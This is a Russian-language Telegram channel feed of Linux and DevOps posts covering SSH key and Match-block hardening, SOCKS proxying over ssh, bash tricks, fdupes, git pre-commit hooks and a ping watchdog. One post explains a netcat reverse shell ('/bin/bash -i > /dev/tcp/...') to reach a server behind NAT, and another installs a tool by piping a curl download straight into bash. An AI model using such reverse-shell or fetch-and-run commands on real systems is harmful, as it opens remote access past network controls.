Bash Days | Linux | DevOps
23.2K subscribers
126 photos
22 videos
598 links
Авторский канал от действующего девопса

Самобытно про разработку, devops, linux, скрипты, тестирование, сисадминство, техдирство, пиэмство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

Курс: @tormozilla_bot

РКН: https://two.su/bashdays
Download Telegram
Тадам! SSH часть вторая by Tagd Tagd.

Сначала покажется что ты это читал, но это не так, контекст другой.

Сегодня мы рассмотрим как запретить пользователям добавлять свои ключи.

Если пользователь подключит свой ключ - меняй пароль, не меняй - пофигу.

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.

Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями.

В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.

Наличие физического доступа к консоли - приветствуется.

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.2


Вы уже знаете, как настроить ключи. Они прописаны и работают!!!

Допустим в файле /etc/ssh/sshd_config

PubkeyAuthentication yes

# перед изменениями рекомендую включить парольную аутентификацию

PasswordAuthentication yes
PermitRootLogin prohibit-password


Там же есть опция AuthorizedKeysFile и обычно она закомментирована. Она указывает, где находится файл аuthorized_кeys.

делаем так:

sudo test -f /etc/ssh/authorized_keys && sudo mv /etc/ssh/authorized_keys /etc/ssh/authorized_keys.1 

sudo mkdir /etc/ssh/authorized_keys
sudo cp "/home/${USER}/.ssh/authorized_keys" "/etc/ssh/authorized_keys/${USER}"
sudo chown -R root:root /etc/ssh/authorized_keys
sudo chmod -R u=rwX,go=rX /etc/ssh/authorized_keys


в файле /etc/ssh/sshd_config

AuthorizedKeysFile /etc/ssh/authorized_keys/%u


перезапускаем sshd:

systemctl restart sshd


Всё. Будут действовать только ключи из из папки /etc/ssh/authorized_keys в файле с именем пользователя, и подключить их может только root.

После успешного подключения по ключу:

PasswordAuthentication no
systemctl restart sshd


Кстати, протестировать и посмотреть все опции sshd_config можно командой sudo sshd -T

Это так, к сведению.

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
79
А вот и долгожданное продолжение от © Tagd Tagd.

Файл, который упоминается в статье будет добавлен в комментарии.

Погнали 👇

Хотел писать про другое в ssh, но без блока Match ну никак не получается.

Для начала лирическое отступление. Вы установили ключи, отключили парольную аутентификацию, но вас все равно брутят.

Плохие парни, что, дебилы? Не видят, что у вас ключи стоят? Все они видят. Просто есть блок Match, с помощью которого можно задавать различные настройки разным пользователям.

PasswordAuthentication no
PubkeyAuthentication yes
Match User bashdays
MaxSessions 10
MaxAuthTries 10
PasswordAuthentication yes


В этом примере парольная аутентификация запрещена для всех, кроме пользователя bashdays.

Скажу по секрету, я тоже делаю настройки для пользователя последнего шанса.

У меня на флэшке есть ключи и putty. Потому что не знаешь, когда и откуда понадобится порулить. Но я допускаю, что и флэшки может не оказаться.

Вот тогда пригодится такой пользователь. Только чтобы пользователя быстро не нашли, я беру логин, сложнее, чем admin, Root student или pi.

Ну и парольную фразу задаю больше 20 символов. К статейке должен быть прикреплен архив с логинами реальных простукиваний.

В первой колонке - количество стуков для данного пароля. Реальная база, собранная с одной машины, с системой защиты от переборов за пару лет.

Если вы нашли свой логин в этой базе - повод задуматься. Логин "_" в базе - замена пользователя пробел.

Да, раньше можно было и такое. Благо сейчас эту дыру закрыли.

Что-то я отвлекся.

В блоке MATCH доступны ключевые слова User, Group, Host, Address, LocalAddress, LocalPort, RDomain.

Первые четыре применяются наиболее часто. Если в блоке MATCH несколько ключевых слов, они объединяются по AND.

Также возможно использование шаблонов.

Например:

Match User *bashdays*, guest*
Address 192.168.0.0/24,!192.168.0.27


Перечисления идут через запятую БЕЗ ПРОБЕЛОВ. Допускается несколько блоков MATCH.

Ну, и последний вопрос. Раз конфиг у нас с условием, как его проверять?

sudo sshd -T -C user=bashdays,addr=192.168.0.27


Выдаст на stdout конфиг для указанного пользователя с указанного адреса.

Обратите внимание. здесь ключевые слова немного отличаются:

«addr», «user», «host», «laddr», «lport», «rdomain» и отсутствует группа.

man sshd
man sshd_config


продолжение следует...

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
86
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, пока я летаю, рекомендую обратить внимание на эту софтину.

✔️ goManageDocker

Это инструмент для управления docker’ом через интерфейс командной строки.

Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.

Обычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.


Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.

Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.

Ставится элементарно:

bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"


Репка тут: https://github.com/ajayd-san/gomanagedocker

tags: #utilites

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
85
Здрасти, я потихоньку прихожу в себя после всех этих поездок. К концу недели глядишь раскачаюсь и войду в привычный ритм. Ну а пока читаем пиздатые посты от Tagd Tagd 👇

Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.

Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)

А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.

Но давать доступ к консоли страшно, вдруг что-нибудь сломают.

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.

Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.

Наличие физического доступа к консоли - приветствуется.

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)


Вы уже знаете, как настроить ключи. И они прописаны и работают!!!

Есть несколько способов безболезненно раздать vрn на свою семью. В файле /etc/ssh/sshd_config

Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--


sudo service sshd restart


Если иcпользуете группу — не забудьте добавить в нее пользователя:

sudo usermod -aG proxy bashdays_tagd


При параметре MaxSessions 0 будет запрещен доступ к shell и sftp. Но разрешен проброс портов.

На клиенте:

ssh -N -D 5000 bashdays_tagd@ssh.host.name


После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.

В firefox:

Настройки -> Настройка сети -> Параметры соединения

Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5
или:


ssh -N -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name


Если ваш адрес 192.168.1.57 и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):

В настройках firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует...

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
72
Последние новости — В Москве госпитализировали мужика, который не смог настроить GoodbyeDPI и похавал без ютуба.

А ты настроил? 😲

Вот так вот и живем, а сегодня Tagd Tagd снова в тренде 👇



Сегодня (01.08.2024) запускаю скрипт архивирования и получаю сообщение об ошибке:

bash: declare: 08: слишком большое значение для основания (неверный маркер «08»)


Скрипт, написанный и работающий с 02.02.24г вдруг перестал работать.

Чудеса?

Лезу, смотрю, где ошибка.

declare -i MON=$(date +%m)


Мне нужен просто номер месяца для контроля, какой накопитель должен быть примонтирован.

Начинаю выяснять. Оказывается, числа, начинающиеся с "0", а bash считает восьмеричными. Понятное дело, 08 для восьмеричной системы великовато.

Ну, решений проблемы море.

0. Самый правильный вариант (подсказал Alexey Kuznetsov)

declare -i MON=$(date "+%-m")


1. Классический вариант

declare -i MON=$((10#$(date "+%m")))


10# - система счисления. Роман об этом уже писал. Но, читаемость (понимаемость) строки - так себе.

2. Более читаемый

declare -i MON=$(date "+%m"|sed 's/^0//')


Просто уберем ведущий "0" и проблема решена.

3. Решение на awk.

Пробую пробую на своей машине:

declare -i MON=$(awk 'BEGIN{m=+strftime("%m");print m}')


Работает. Встраиваю в скрипт - ошибка

awk: line 2: function strftime never defined


Поверяю версии awk. У меня на машине gawk, на серваке mawk.

Блин, это уже вызов. mawk - не gawk и у него отсутствуют функции времени и даты (ну, по крайней мере в той версии).

Но, решение есть.

declare -i MON=$(date "+%m"|awk '{print $1+=0}')


Странная инструкция $1+=0 позволяет преобразовать строковое представление числа в первой колонке в числовое.

Ну, собственно все. В коментах надеюсь увидеть другие варианты решения проблемы.

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
51
Ой чо я вам принёс ребят…

очередную хуиту 🥳

Называется эта хуета QEMU-QuickBoot и написана она на Bash.

Скрипт создан для упрощения развертывания QEMU виртуалок с интуитивно понятным интерфейсом. Короче для всех любителей потыкать хомяка мышкой.

Штука позволяет быстреьнко создавать и загружать виртуальные машины используя физические устройства либо исошники, имейджи и т.п. BIOS/UEFI вся хуйня.

В зависимостях там Zenity, хуй знает чо это такое, но нужно. Предварительно это надо поднять через апт инсталл если совсем на пол шестого.

Потыкал, чето даже работает. Загнивающий запад с реддита пищит, ну хуй знает, попробуем...

Репка со всеми подробностями тут 👇

https://github.com/GlitchLinux/QEMU-QuickBoot/

ps: в любом случае можно форкнуть спиздить и использовать в своих поделках, даж реверсить ничо не надо, скрипты, хули…

tags: #utilites

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
69
Здрасти, здрасти, давно не виделись. Сегодня… Аааа по ходу дела разберемся, погнали!

Есть у меня текстовый файл, вида:

bashdays.ru/1
bashdays.ru/2
bashdays.ru/3
bashdays.ru/4
bashdays.ru/5


И есть условный bash скрипт, который должен прочитать этот файл и присвоить значения переменным, чтобы получилось так:

$1 = bashdays.ru/1
$2 = bashdays.ru/2
$3 = bashdays.ru/3
$4 = bashdays.ru/4
$5 = bashdays.ru/5


Сначала прикидываем в голове алгоритм — читаем файл построчно, цикл вся хуйня, делаем что-то на подобии массива и дальше по накатанной. Это всё понятно, классика.

Но решим мы её как обычно через жопу:

#!/bin/bash

n=$(<bashdays.txt)
set -- $n

echo $1 # bashdays.ru/1
echo $2 # bashdays.ru/2
echo $3 # bashdays.ru/3
...
echo $@ # bashdays.ru/2 bashdays.ru/3 ...


Охуенно? ДА! Теперь давай разберем чо происходит.

В переменную «n» зачитываем рэпчанский текстовый файл bashdays.txt с нашим списком урлов.

Как сказал Паук — Рэп это кал!

Это так, к слову, если любишь рэп — ничо против не имею.

Конструкция $( < ) аналогична команде «cat», выполняет замену с подстановкой == $(cat bashdays.txt).

По итогу переменная «n» содержит в себе весь текст из файла bashdays.txt

Ну а магическая поебень set -- $n устанавливает позиционные параметры на основе содержимого переменной «n». То есть решает нашу задачу.

Символ «--» перед set = сброс всех предыдущих позиционных параметров и установка новых.

Можно конечно сделать проще, но проще это не для нас:

cat bashdays.txt | xargs ./script.sh


Тут содержимое файла bashdays.txt передается в скрипт и скрипт получает эти параметры в качестве аргументов.

#!/bin/bash

echo $1
echo $2
echo $3
echo $@


Итого получаем аналогичную картинку:

bashdays.ru/1
bashdays.ru/2
bashdays.ru/1 bashdays.ru/2 ...


Такие вот дела, накидывайте в комменты еще варианты упоротых решений, простые не интересны.

tags: #bash

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
772
🐿 Бурундук ебал фундук. Короче.

Я привык что на винде, касперский регулярно предлагает мне избавиться от дубликатов файлов. Никогда этой хуйнёй не пользовался, но тут чет скучно стало, решил потыкать. Потыкал, понравилось.

Минусы иметь винт на 10 терабайт — повторно качаешь взрослые фильмы, которые уже качал 3 года назад, но найти не можешь.

Ну и понеслась…

А на linux чо делать? Есть такая штука — fdupes называется.

Натравливаешь её на нужный каталог и получаешь кайф:

fdupes -r ~/Downloads


По выхлопу:

./music/Blind Guardian Bright Eyes.mp3
./mp3/Blind Guardian Bright Eyes.mp3


Опа, в папках music и mp3 идентичные файлы, значит один из них точно можно ёбнуть!

Но чо руками что ли это делать? Неа!

fdupes -d ~/Downloads/*


Тебе вывалит интерактивный режим:

Set 1 of 1:

1 [ ] /tmp/Downloads/music/Blind Guardian Bright Eyes.mp3
2 [ ] /tmp/Downloads/mp3/Blind Guardian Bright Eyes.mp3


Но вообще если не боишься, запускай:

fdupes -r -d -N ~/Downloads/*


Как говорится, если ты не знаешь что у тебя хранится на диске — значит оно тебе нахуй не нужно. Так что посмелее!


После отработки получаем:

   [+] ~/Downloads/music/Blind Guardian Bright Eyes.mp3
[-] ~/tmp/Downloads~/mp3/Blind Guardian Bright Eyes.mp3


В папке ~/Downloads/music файл остался, а вот в в папке mp3 похерился.

Работает эта штука - Очень шустро! И зашла она мне прям люто, аналогично как ncdu из этого поста.

Ставится элементарно:

apt install fdupes


+ у ней дофига ключей, вызывай help и изучай, чо там только нет.

Ссылка на репку:
https://github.com/adrianlopezroche/fdupes

Но есть алтернативы шутрее:

Бенчмарки 8vCPU/30G (54,000 files 17Gb)

fdupes takes 2m 47.082s
findup takes 13.556s
jdupes takes 0.165s


Либо наш любимый find со своей кишкой из аргументов. Выбор за тобой!

Давай, увидимся!

tags: #utilites #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
1192
Есть у меня гит репка с Bash скриптами на все случаи жизни, появилась необходимость при очередном коммите, проверять измененные скрипты с помощью shellcheck и дизейблить коммит если я накосорезил.

Сейчас автоматизируем

Про shellcheck я писал отдельный пост. Короче он у тебя должен быть установлен.

Дальше создаем файл .git/hooks/pre-commit в репозитории, в котором нужно запускать проверку и пишем в него:

#!/bin/bash

bash_scripts=$(find . -name "*.sh")

for script in $bash_scripts; do
shellcheck "$script"
if [ $? -ne 0 ]; then
echo "Shellcheck failed on $script. Commit aborted."
exit 1
fi
done

exit 0


Хуй знает, работает этот код или нет, я давно им не пользовался, главное тут концепт.

Делаем это исполняемым:

chmod +x .git/hooks/pre-commit


Теперь перед каждым коммитом будет выполняться shellcheck для всех Bash-скриптов в репозитории. Если shellcheck найдет ошибки, твой коммит не пройдет, пока не пофиксишь.

По началу это напряжно, но потом понимаешь что у тебя уже вырабатывается какой-то кодстайл и ты не можешь распиздяйничать.

Если у тебя скрипты имеют другое расширение, соответственно меняешь его в переменной bash_scripts.

Помню в компании была подобная штука на проверку puppet кода, пиздец, я там орал как белуга не понимая что эта тварь от меня хочет. По итогу когда я возглавил отдел, выкосил это дермище вместе с puppet.


Бонусом адаптация под проверку ansible плейбуков:

#!/bin/bash

playbooks=$(find . -name "*.yml" -o -name "*.yaml")

for playbook in $playbooks; do
ansible-lint "$playbook"
if [ $? -ne 0 ]; then
echo "ansible-lint failed on $playbook. Commit aborted."
exit 1
fi
done

exit 0


В зависимостях — нужно установить ansible-lint.

С помощью pre-commit можешь любую хуйню замутить и усложнять себе жизнь в геометрической прогрессии, А вообще pre-commit нахуй не нужен, он помещает тебя в рамки и ты теряешь свободу в творчестве.

Пользуйтесь.

tags: #bash #git

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
843
Айти убивает!

Господа и дамы, если сидите за компьютером, не забрасывайте ноги на стол и т.п.

Будущее такое — искривление жопы, защемление нервов, невролог, мягкая подушка в виде ободка унитаза и хуй пойми еще что после мрт. Наверное витамин Б, физкультура и какой-нибудь Бруфен с пластырями-гасителями.

Технический пост будет завтра. Кому по домашкам не ответил, завтра с утра напишу, сорян. День пиздень, я нахуй в шоке, где мои 17 лет на Большом Каретном...

Берегите себя и свои жопы

Ииииии

Самое главное сидите на своей жопе ровно
😲

Даже если упал прод — никогда не стрессуй, прод сам поднимется. Никакие деньги мира тебе не вернут твои нервы.

И даже если только ты можешь всё это гавно починить, не суетесь, покури. Мир подождет пару минут или часов, пока ты думаешь. Ты лучший/ая!

Всех обнял ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
3618
Да, 3.14здострадальные посты заходят намного эффективнее, видимо больную тему затронул 😏

Ладно, тут пост еще интересный от Tagd Tagd завалялся, внимание на 1С не обращаем, важен сам концепт. Поехали!

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ

Сегодня мы рассмотрим как переложить свою работу на чужие плечи, но чтобы ничего не сломалось. Я админю сервера с 1с. И очень часто разработчики просят перезагрузить какой-нибудь сервис или сервер.

Вместо web-админок предлагаю использовать ssh-админки. Я им больше доверяю.

sudo vim /usr/local/bin/servcontrol

#!/bin/bash
trap '' SIGINT SIGTERM SIGHUP DEBUG
declare -i MULTICOLUMN=0
declare -ir CMD_COL=3 #command column
declare -ir DLY_COL=4 #delay column
declare -ir NOCONFIRM_COL=5
declare -i COLS=$(echo "cols"|tput -S)
declare -i NUM=0
declare -u ANS
function ini(){ echo '
# (autonum_1) : name_2 : command_3 : delay_sec_4 : [NO_confirm_5]
Exit menu :exit:0:y
restart_postgres:systemctl postgresql restart:60
restart_1c_1541 :systemctl srv1cv83 restart:60
restart_1c_2541 :systemctl srv1cv83_2 restart:60
REBOOT__SERVER :reboot:10
'|awk '!/^#/ && NF {print ++i ":" $0}'
}
function get_ini_col(){ ini|awk -F: -vn=$1 -vc=$2 '$1==n{print $c;exit}';}
function prn_sleep(){
declare -i I=$1
while [[ $I -gt 0 ]];do
echo -ne "$I\033[0K\r"
sleep .99
I=$I-1
done
}
[[ $MULTICOLUMN -eq 0 ]] && CMDE='cat' || CMDE='column -x -c$COLS'
declare -i MAX=$(ini |awk -F: '{m=$1}END{print m}')
while :;do
clear
ini|awk -F: '{print $1,$2,"delay",$4 }'|eval $CMDE
read -p "select item number = "
#protection
NUM=$(echo $REPLY|sed 's/[^0-9]//g')
if [[ $NUM -le 0 ]] || [[ $NUM -gt $MAX ]];then
continue
fi
CMD=$(get_ini_col $NUM $CMD_COL)
DLY=$(get_ini_col $NUM $DLY_COL)
clear
echo delay "$DLY"
echo "$CMD"
#confirmation
if [[ -n $(get_ini_col $NUM $NOCONFIRM_COL) ]];then
ANS="YES"
else
read -p "Type YES to confirm operation " ANS
fi
if [[ "$ANS" == "YES" ]];then
clear
echo "$CMD"
prn_sleep $DLY
$CMD
exit
else
echo "Operation caneled"
sleep 1
fi
done
#--


Данный скрипт позволяет перезапустить postgres, сервисы 1с на первом или втором комплекте портов или ребутнуть весь сервак. Разбор скрипта делать не буду, если кому-нибудь будет интересно - напишу разбор отдельной статьей.

sudo chmod 755 /usr/local/bin/servcontrol

в файле /etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 1
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding no
ForceCommand sudo /usr/local/bin/servcontrol
#--

sudo service sshd restart


Ну, и самое главное. Чтобы эта вся фигня заработала, нужно либо запускать скрипт от root, либо разрешить выполнение скрипта под sudo без пароля для этого пользователя/группы.

Добавляем запись в конец файла /etc/sudoers.

Она позволит запускать указанный скрипт пользователю bashdays_tagd с привилегиями root. Следовательно, все команды в скрипте будут работать.

sudo vim /etc/sudoers

bashdays_tagd ALL=(ALL) NOPASSWD: /usr/local/bin/servcontrol


После подключения ssh bashdays_tagd@host.name

Пользователь видит интерактивное меню со списком команд, которые может выбрать. И все! Команда reboot в скрипте выполняется с задержкой в 5 минут.

Это сделано для того, чтобы нельзя было ребутить сервак в быстром цикле. По идее 5 минут должно хватить, чтобы отключить учетку хакнутого/сумашедшего пользователя или отредактировать sshd_config или sudoers.

man sshd_config
man sudoers


tags: #bash #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
79
Так ребят, курса никакого нет, вы меня вынудили это делать. Я лишь пошёл на встречу, никого не заставляю, дал вам чо хотели. Двоек уже понаставил, моё почтение.

С сентября уже песда, фейс ебать контроль будет и 2x к цене, так что пользуйся пока летней скидкой и моей больной жопой, домашки проверять то еще дело, я зауважал учителей в школах!
103
Все мы прекрасно знаем, что для переключения пользователя есть su и sudo. Но не все знают про команду runuser.

Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.

Пример:

runuser -u roman -- id


Ну и важно посмотреть help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.

В скриптах предпочтительнее использовать именно runuser чем везде пихать su.

Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.

А чем отличается su от sudo (+ это двойное тире) я писал в этом посте.

Такие дела, изучайте…

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
854
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.

Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.

Многие знают Linux утилиту nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.

Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.

У меня есть сервер в закрытом периметре без внешнего айпи адреса.

Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.

Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.

Просим инженера из мухосранска запустить у себя:

root@fuck:/ nc -lvnp 2288


В ответ он получает строчку вида: Listening on 0.0.0.0 2288

-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт

Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:

/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1


Не забываем у инженера узнать его IP, чтобы подставить инженера его в команду.

Все эти хуйни с перенаправлением 0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.

А дальше… магия!

В мухосранске, там где запустили nc -lvnp 2288, произойдет такое:

Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#


У инженера сменится шелл с root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!

Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.

Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.


Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.


Давай, увидимся!

tags: #linux #networks #security

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
17625
Друзья мои, реакции на постах с пальцами знатно всех подзаебали, давайте их котиками заменим + срущих добавим, чтобы проявлять своё животное возмущение и недоумение.

Если есть премка в телеге, размутим! жмякай 👇

https://t.me/boost/bashdays

Всем кто жмякнул — вы котики! 😘

Ну а кто не жмякнул, вы тоже котики 🙃
Please open Telegram to view this post
VIEW IN TELEGRAM
227116
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.

Напишем свой крутой шелл с анимацией и ограничениями для пользователей.

Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.

sudo vim /usr/local/bin/socksshell

#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done

sudo chmod 755 /usr/local/bin/socksshell


Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.

В файле /etc/ssh/sshd_config

Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--


Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):

sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart


А на клиенте:

ssh -D 5000 bashdays_tagd@ssh.host.name


После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!

В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.

или

ssh -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name


Если ваш адрес 192.168.1.57 и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.

В настройка firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует... © by Tagd Tagd

tags: #linux #networks #bash

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
4931
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.

Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.

А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его /home/user/.my.cnf.

Содержимое файла .my.cnf

[client]
user=user
password=passwd
database=db


Этот файл содержит настройки по умолчанию для команд mysql.

Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.

Либо передавать напрямую в mysql путь до файла с помощью ключа:

--defaults-file==filename


В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.

Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.

Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.


А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.

Почитать: Параметры командной строки, влияющие на обработку.

Хороших предстоящих выходных!

tags: #linux #mysql

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
9526
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис".

#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами

function EXECUTE(){ echo $COUNTER Need execute ; }

while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done

case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--


COUNTER - счетчик циклов присутствия проблемы.

P=1m - задержка в цикле 1 минута

function EXECUTE() - функция, в которой прописываем действия для устранения проблемы.

for LNK in ... done в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.

Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.

ping -c1 - один пакет -w2 - время ожидания 2 сек

Таким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.

case $COUNTER in ... esac самый удобный оператор для множественных условий.

Если проблем нет ($COUNTER=0) сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).

Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.

600) COUNTER=300...;; - далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;" можно было бы заменить на "599) COUNTER=299;;" с сохранением логики работы. Но оставил более понятный вариант.

Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.

Ну, и теперь самое интересное.

На aliexpress ищем "usb relay". (одиночный < 200 рублей).

Качаем и ставим драйвера и пишем что-то вроде:

declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV


Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.

PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!


tags: #homework #DIY © by Tagd Tagd

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
6222
А давай потрясём cиськами с помощью Bash!

Я думаю этот пост должен здесь быть, а постарался наш внештатный корреспондент Tadg Tadg. Погнали 👇

Сегодня разберем потрясный скрипт. Не в том смысле, что классный.

